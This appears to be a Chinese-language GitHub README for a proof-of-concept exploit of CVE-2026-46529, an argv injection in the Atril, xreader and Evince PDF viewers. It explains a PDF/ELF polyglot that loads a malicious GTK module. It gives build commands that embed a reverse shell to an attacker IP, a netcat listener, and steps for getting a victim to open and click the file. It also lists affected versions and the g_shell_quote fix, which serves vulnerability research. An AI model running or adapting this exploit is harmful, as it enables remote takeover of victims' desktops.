N1et/CVE-2026-46529
GitHub: N1et/CVE-2026-46529
针对 Evince/xreader/Atril 系列 PDF 查看器 argv 注入漏洞(CVE-2026-46529)的 RCE 概念验证利用工具,通过 PDF/ELF polyglot 文件在受害者点击页面时触发任意代码执行。
Stars: 13 | Forks: 5
# 通过 PDF argv 注入实现 RCE (CVE-2026-46529) (atril/xreader/evince)
这是针对 `ev_spawn()` (`shell/ev-application.c`) 中 argv 注入漏洞的有效概念验证。只需在精心构造的 PDF 渲染页面上任意位置点击一下,就会以运行该查看器的用户身份触发任意代码执行。
此版本使用了 `%f` 替换技术:dlopen 目标路径由查看器在运行时自行发现,因此攻击者无需了解 polyglot 文件在受害者文件系统中的具体位置(无需知道用户名、`$HOME` 或下载目录)。
# POC
## 本捆绑包内容
| 文件 | 用途 |
|---|---|
| `exploit.sh` | 一键封装脚本:通过单条命令完成编译并构建 polyglot 文件。 |
| `evil_gtk_module.c` | payload 源码。构造函数会打开一个反弹 shell,并在 `/tmp/PWNED_atril_.txt` 释放一个标记文件。 |
| `build_polyglot.py` | Polyglot 构建器。将编译后的 `evil.so` 与包含 `/GoToR` 动作和 `%f` 走私的最小化 PDF 主体结合在一起。 |
你必须在架构与受害者相匹配的 Linux 主机上进行构建。
`evil_gtk_module.c` 是跨架构可移植的;但生成的 ELF 文件是特定于架构的。macOS 无法生成此 `.so` 文件,因为 Apple 的链接器不接受 GNU build-id 标志。
## 一段话解释该漏洞
`ev_spawn()` 在构建 spawn 命令行时,直接对 PDF 的 `/D`(命名目标)和 `/F`(文件规范)字符串进行了插值,而没有使用 `g_shell_quote`。该结果会被 `g_app_info_create_from_commandline` → `g_shell_parse_argv` 重新解析回 argv。通过在 `/D` 中植入前导空格和 `--gtk-module=...`,会导致派生的子查看器将 `--gtk-module=` 作为独立的 argv 元素接收,而 `gtk_init()` 会通过 `g_module_open()`(即 `dlopen`)来加载它。加载的 ELF 中的任何构造函数都将以受害者身份运行。
这个 polyglot 是一个同时作为有效 PDF 和有效 ELF 共享库的单一文件 —— `%PDF-1.4` 标记被打包在 `.note.gnu.build-id` SHA1 插槽(偏移量 `0x1d8`)内,poppler 可以接受它,因为它会扫描前 1024 个字节以查找 magic;而 `ld.so` 也能接受它,因为 build-id 的内容仅供参考。
`%f` 技巧(本版本使用)补齐了最后一块拼图。我们没有在 PDF 中硬编码 polyglot 的路径,而是嵌入了 glib 的 `%f` 占位符。glib 的 `g_app_info_launch_uris` 会使用 atril 在运行时通过 `g_path_get_dirname(source_uri) + /F.basename` 解析出的本地路径格式来替换 `%f`。最终子进程的 argv 中会包含 `--gtk-module=`,dlopen 成功执行,实现 RCE。
`/F` 被设置为 `?1` 而不仅仅是 ``,是因为当解析出的 /F URI 等于源 URI 时,`ev_application_open_uri_at_dest()` 会短路并直接进行页面导航(而不是派生进程)。末尾的查询字符串使得 URI 有所区分;而 glib 的 `g_filename_from_uri` 在构建 `%f` 时会将其剔除。
## 如何复现
### 快速开始
```
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
```
输出:生成内置反弹 shell 目标的 `report.pdf`。使用相同的 basename(任意目录均可)将其部署到受害者机器上,启动一个监听器,让目标在 atril 中打开该文件并点击页面上的任意位置。
```
# 攻击者:
nc -lvnp 4444
# 受害者:
atril /any/where/report.pdf
# 在渲染出的页面上任意位置点击 → shell 反弹
```
嵌入在 `/F` 中的 basename 源自输出文件名,因此该 polyglot 预期被部署为 `report.pdf`。其所在目录无关紧要 —— atril 会在运行时通过 `%f` 替换解析出完整路径。Link annotation 覆盖了整个 MediaBox,因此任何点击都会触发该动作。同时还会将一个标记文件写入 `/tmp/PWNED_atril_.txt`。
### `exploit.sh` 的所有选项
```
-o, --output FILE Output PDF path (default: polyglot.pdf)
--ip IP Reverse shell target IP (default: 127.0.0.1)
--port PORT Reverse shell target port (default: 9000)
--cc COMPILER C compiler (default: gcc, env: CC)
--keep-so Don't delete evil.so after build
-h, --help Show usage
```
交叉编译示例(在 x86_64 主机上构建 aarch64 polyglot):
```
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
```
### 手动构建(不使用 `exploit.sh`)
如果你想完全控制每一个步骤:
1. **使用你的 IP/端口编译 `evil.so`。**
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
2. **构建 polyglot。**
python3 build_polyglot.py evil.so
嵌入在 `/F` 中的 basename 源自输出文件名。使用相同的 basename 将该 polyglot 部署到受害者机器上 —— 目录无关紧要,atril 会在运行时自动解析。
## 受影响的软件
已确认:
- **atril** < 1.28.4 (MATE desktop)
- **xreader** < 4.6.4 (Cinnamon desktop, atril 的分支)
- **evince** < 48.4 (GNOME desktop, 上游)
漏洞代码(`ev_spawn` 和 `/GoToR` 打开路径)在这三者之间是共享的。evince 上游也存在同样的漏洞;较新的 evince 构建版本中唯一的区别在于,GTK4 移除了 `--gtk-module=` 命令行标志,从而关闭了这个特定的 dlopen 注入点。使用 GTK3 构建的 evince(截至本文撰写时的大多数 LTS 发行版)仍然容易受到攻击。
## 受影响的版本和修复
该漏洞自 2010 年代初期编写 `ev_spawn` 命令行构造逻辑时就已经存在。修复方法很简单:在 `g_string_append_printf` 之前,将每个受攻击者控制的组件用 `g_shell_quote` 包装起来;或者改为将 argv 作为列表传递给 `g_spawn_async`(从而完全避免 shell 解析的往返过程)。
## 注意事项
- **文件名保留。** 嵌入在 `/F` 中的 basename 必须与触发时 polyglot 在受害者磁盘上的文件名相匹配。如果受害者在打开前重命名了该文件,atril 会将 `/F` 解析为一个不存在的路径,导致 `dlopen` 失败。
- **GTK4。** 使用 GTK4 构建的较新 evince 版本移除了 `--gtk-module=` 命令行标志,从而关闭了这个特定的 dlopen 注入点。不过 argv 注入本身仍然存在 —— GTK4 仅缓解了这一特定的利用路径。
# 发现者
J.Medeiros
标签:Go语言工具, PDF解析器, 参数注入, 应用安全, 概念验证, 逆向 shell, 逆向工具